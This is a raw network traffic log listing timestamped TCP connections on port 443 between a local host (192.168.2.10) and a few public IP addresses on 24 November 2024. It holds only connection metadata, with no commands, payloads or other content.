Nov 24, 2024 08:44:33.596172094 CET	443	49871	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:33.599361897 CET	443	49871	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:33.599517107 CET	49871	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:33.599559069 CET	49871	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:33.599559069 CET	49871	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:33.599575043 CET	443	49871	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:33.599582911 CET	443	49871	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:33.602711916 CET	49889	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:33.602752924 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:33.602848053 CET	49889	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:33.603060007 CET	49889	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:33.603071928 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:34.437583923 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:34.437635899 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:34.437916994 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:34.500689983 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:34.500711918 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:34.699359894 CET	443	49885	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:34.817806005 CET	49885	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:34.817826986 CET	443	49885	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:34.818450928 CET	49885	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:34.818456888 CET	443	49885	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:34.841372967 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:34.889496088 CET	49886	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.152164936 CET	443	49885	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.155536890 CET	443	49885	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.158859968 CET	49885	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.200233936 CET	49886	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.200256109 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.200871944 CET	49886	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.200877905 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.311058998 CET	443	49888	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.354413033 CET	443	49887	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.386770010 CET	49888	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.452052116 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.487668991 CET	49887	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.534459114 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.537501097 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.537556887 CET	49886	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.537559032 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.537600994 CET	49886	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.562192917 CET	49889	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.562233925 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.563071012 CET	49889	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.563085079 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.563461065 CET	49885	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.563494921 CET	443	49885	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.563515902 CET	49885	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.563523054 CET	443	49885	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.563570023 CET	49886	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.563587904 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.563605070 CET	49886	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.563610077 CET	443	49886	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.570234060 CET	49888	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.570259094 CET	443	49888	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.572017908 CET	49888	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.572026968 CET	443	49888	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.573465109 CET	49887	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.573497057 CET	443	49887	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.574002981 CET	49887	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.574012041 CET	443	49887	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.581119061 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.581139088 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.581195116 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.581438065 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.581448078 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.604821920 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.604866982 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.604948044 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.610327005 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.610349894 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.903454065 CET	443	49888	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.903476000 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.906608105 CET	443	49888	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.906723976 CET	49888	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.907139063 CET	49888	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.907156944 CET	443	49888	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.907180071 CET	49888	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.907186031 CET	443	49888	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.907262087 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.907320023 CET	49889	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.908716917 CET	49889	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.908736944 CET	443	49889	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.912729979 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.912772894 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.912874937 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.914017916 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.914068937 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.914293051 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.914495945 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.914514065 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.914592981 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.914606094 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.926064968 CET	443	49887	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.929333925 CET	443	49887	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.929383039 CET	49887	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.930628061 CET	49887	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.930646896 CET	443	49887	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.930660963 CET	49887	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.930665970 CET	443	49887	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.938102961 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.938137054 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:35.938208103 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.938366890 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:35.938378096 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:36.259711027 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.259782076 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:36.272653103 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:36.272686005 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.272931099 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.314244986 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:36.355330944 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.962244034 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.962275982 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.962282896 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.962292910 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.962320089 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.962449074 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:36.962479115 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:36.962502003 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:36.962522030 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:37.005482912 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:37.005521059 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:37.005568027 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:37.005598068 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:37.005650997 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:37.005779028 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:37.005795002 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:37.005805969 CET	49893	443	192.168.2.10	4.175.87.197
Nov 24, 2024 08:44:37.005812883 CET	443	49893	4.175.87.197	192.168.2.10
Nov 24, 2024 08:44:37.360665083 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.361243010 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.361263037 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.361752033 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.361757994 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.392537117 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.393129110 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.393150091 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.393637896 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.393644094 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.642924070 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.652550936 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.652575970 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.655308008 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.655319929 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.717271090 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.719033957 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.719067097 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.719567060 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.719578028 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.759064913 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.760103941 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.760128975 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.760617971 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.760622978 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.803822041 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.807064056 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.807104111 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.807182074 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.835726023 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.836148024 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.836272001 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.879229069 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.879254103 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.879265070 CET	49900	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.879270077 CET	443	49900	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.881197929 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.881233931 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:37.881249905 CET	49901	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:37.881257057 CET	443	49901	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.077925920 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.080672979 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.082809925 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.136854887 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.136869907 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.136883974 CET	49903	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.136888981 CET	443	49903	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.145353079 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.145382881 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.145478010 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.146605015 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.146650076 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.146812916 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.146903992 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.146912098 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.147226095 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.147280931 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.147341013 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.147434950 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.147444963 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.147540092 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.147557020 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.160084009 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.163808107 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.163863897 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.163917065 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.163984060 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.163992882 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.164004087 CET	49905	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.164009094 CET	443	49905	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.171602964 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.171632051 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.171722889 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.176812887 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.176824093 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.251223087 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.254436016 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.254477024 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.254488945 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.254547119 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.254614115 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.254630089 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.254642010 CET	49902	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.254647970 CET	443	49902	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.258460999 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.258506060 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:38.258644104 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.258832932 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:38.258843899 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.863460064 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.864346027 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.865115881 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.865185022 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.865623951 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.865644932 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.865962029 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.865987062 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.866383076 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.866388083 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.955347061 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.957781076 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.957814932 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.958321095 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.958327055 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.992429972 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.993443966 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.993457079 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:39.994818926 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:39.994822979 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.040565968 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.041282892 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.041309118 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.041815042 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.041819096 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.296803951 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.298173904 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.300331116 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.300442934 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.300710917 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.300761938 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.300795078 CET	49921	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.300812006 CET	443	49921	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.301137924 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.301203966 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.302369118 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.302383900 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.302396059 CET	49919	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.302402020 CET	443	49919	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.305845022 CET	49930	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.305896997 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.305958033 CET	49930	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.306868076 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.306910992 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.306972027 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.307584047 CET	49930	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.307599068 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.307677984 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.307692051 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.398855925 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.402405024 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.402497053 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.402544975 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.402936935 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.404239893 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.404297113 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.404328108 CET	49922	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.404345989 CET	443	49922	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.446346998 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.446427107 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.446572065 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.446574926 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.446649075 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.483056068 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.486236095 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.486422062 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.490771055 CET	49932	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.490820885 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.491378069 CET	49932	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.494738102 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.494792938 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.494813919 CET	49920	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.494824886 CET	443	49920	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.496083021 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.496083021 CET	49923	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.496107101 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.496129990 CET	443	49923	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.497250080 CET	49932	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.497278929 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.502057076 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.502080917 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.502154112 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.502548933 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.502561092 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.503335953 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.503366947 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:40.503474951 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.503576040 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:40.503587008 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:41.699481010 CET	49672	443	192.168.2.10	173.222.162.55
Nov 24, 2024 08:44:42.030713081 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.031420946 CET	49930	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.031451941 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.031963110 CET	49930	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.031968117 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.152730942 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.153527975 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.153572083 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.154061079 CET	49931	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.154068947 CET	443	49931	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.276810884 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.278152943 CET	49932	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.278176069 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.279529095 CET	49932	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.279535055 CET	443	49932	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.284941912 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.285816908 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.285834074 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.286269903 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.286942959 CET	49934	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.286947966 CET	443	49934	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.287411928 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.287439108 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.288491964 CET	49933	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.288497925 CET	443	49933	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.465236902 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.467905045 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.468029976 CET	49930	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.468244076 CET	49930	443	192.168.2.10	13.107.246.63
Nov 24, 2024 08:44:42.468264103 CET	443	49930	13.107.246.63	192.168.2.10
Nov 24, 2024 08:44:42.468286991 CET	49930	443	192.168.2.10	13.107.246.63
